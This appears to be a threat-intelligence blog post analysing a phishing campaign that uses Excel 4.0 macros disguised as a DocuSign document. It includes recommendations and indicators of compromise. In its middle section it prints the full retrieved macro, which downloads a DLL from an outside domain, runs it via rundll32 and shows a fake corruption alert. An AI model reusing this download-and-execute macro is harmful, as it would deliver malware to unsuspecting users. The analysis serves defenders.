We identified a potential campaign in preparation where the victim would receive a zip file containing a Malicious Excel file embedding Excel 4.0 Macros — requiring user interaction to infect the victim. We believe this is the same group as the one we discussed in February due to high similiarities in the modus operandi. This time again, the downloaded DLL would run calc.exe…

Due to the focus on running the Windows Calculator (calc.exe) by the group which seems to be preparing a campaign, we decided to call this group the CALCGANG. The new stage of this campaign seems to have started on March 5, 2020.


Malicious Excel File Impersonating DocuSign

The chain works as the following:

  • Victim receives a compressed archive (.xls.zip) file.
  • Once opened, the .xls file asks the user to enable macros to allow the document to connect to a remote server to send a web request that returns back the malicious macros to be executed. This is quiet ingenious as it allows some degree of flexibility to the attacker — but also to evade traditional detection since the malicious macros would not be inside the file.
    • The document pretends to be a DocuSign image.
  • Malicious macro downloads a dll which gets executed with regsvr32
  • Weirdly enough, the dll that gets downloaded is a 32-bits dll which __spawnvpe() Windows’s Calculator application.


The sample in question was not present on VirusTotal.

We found that the distributing domains are hosted on Alibaba Cloud. Details are provided at the end of the blog-post. New domains were registered on Mach 5, 2020.


Web Query Dynamically Retrieving the DLL

Once the Web Query gets executed, the following macro will be returned to be executed by Microsoft Excel. Unlike, the February version this one seems slightly more complicated but works the same way.

=FWRITELN(R[-1]C,"Dim WinHttpReq , oStream")
=FWRITELN(R[-2]C,"Set WinHttpReq = CreateObject(""MSXML2.ServerXMLHTTP.6.0"")")
=FWRITELN(R[-3]C,"WinHttpReq.setOption(2) = 13056")
=FWRITELN(R[-4]C,"WinHttpReq.Open ""GET"", ""https://pjtcdnrd.pw/DVnsdvisdv"", False")
=FWRITELN(R[-5]C,"WinHttpReq.setRequestHeader ""User-Agent"", ""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)""")
=FWRITELN(R[-7]C,"If WinHttpReq.Status = 200 Then")
=FWRITELN(R[-8]C,"Set oStream = CreateObject(""ADODB.Stream"")")
=FWRITELN(R[-10]C,"oStream.Type = 1")
=FWRITELN(R[-11]C,"oStream.Write WinHttpReq.ResponseBody")
=FWRITELN(R[-12]C,"oStream.SaveToFile """&R[-5]C[-2]&""", 2")
=FWRITELN(R[-14]C,"End If")
=EXEC("explorer.exe "&R[-8]C[-2]&"")
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.",2)
=FWRITELN(R[-1]C,"Set obj = GetObject(""new:C08AFD90-F2A1-11D1-8455-00A0C91F3880"")")
=FWRITELN(R[-2]C,"obj.Document.Application.ShellExecute ""rundll32.exe"","" "&R[-14]C[-2]&",DllRegisterServer"",""C:\Windows\System32"",Null,0")
=EXEC("explorer.exe "&R[-14]C[-2]&"")

Malicious Macro Code

It is unclear at this point if the attackers are just doing some scoping & testing on an upcoming campaign.


Malicious DLL executing __spawnvpe(calc)


RSDS Section

Original DLL name appears to be calc.dll, according to the PDB Debugging Path String C:\Cigital\Tools\calc_security_poc\dll\dll\Release\calc.pdb

The dll code looks very similar to another dll available on available on GitHub. Just like last month, it seems that the CALCGANG loves to use publicly available examples for their tests.

This could be that attackers are in training and learning how to spam and infect victims, or also that those servers will be rotated with more malicious contents. It is also unclear if this campaign is connected to Dudear.


VirusTotal and the DLL

Detection on VirusTotal is still pretty low (non existent) at the time of writing the article.

At the time of writing this article another security researcher also noticed that the CALCGANG started to used DocuSign for their documents:

Another interesting fact is that it seems that several files containing the domain name have been dropped in CrowdStrike Falcon Sandbox (Hybrid Analysis) since the creation of the domain name - but it does not seem to be detected at all by any vendors.


Key Recommendations:

  • Do not enable macros on files from unknown senders
  • Always be suspicious of legacy office files such as .XLS, .DOC or .RTF.
  • Make sure to have memory analysis as part of your incident response strategy to detect and assess potential infections on hosts. We can help you with our automated platform and utilities.
  • Consider using Application Guard for Microsoft Office.
  • Follow us on Twitter/ LinkedIn to stay informed about emerging campaigns and techniques.

Indicator of compromise (IoC):

Excel File Hashes:


Additional hashes from Hybrid Analysis:


Malicious DLL


Domain Names & Servers:

Domains are sharing a common IP address, and to are hosted in Alibaba Cloud.

  • pjtcdnrd.pw (Registered On 2020-03-05)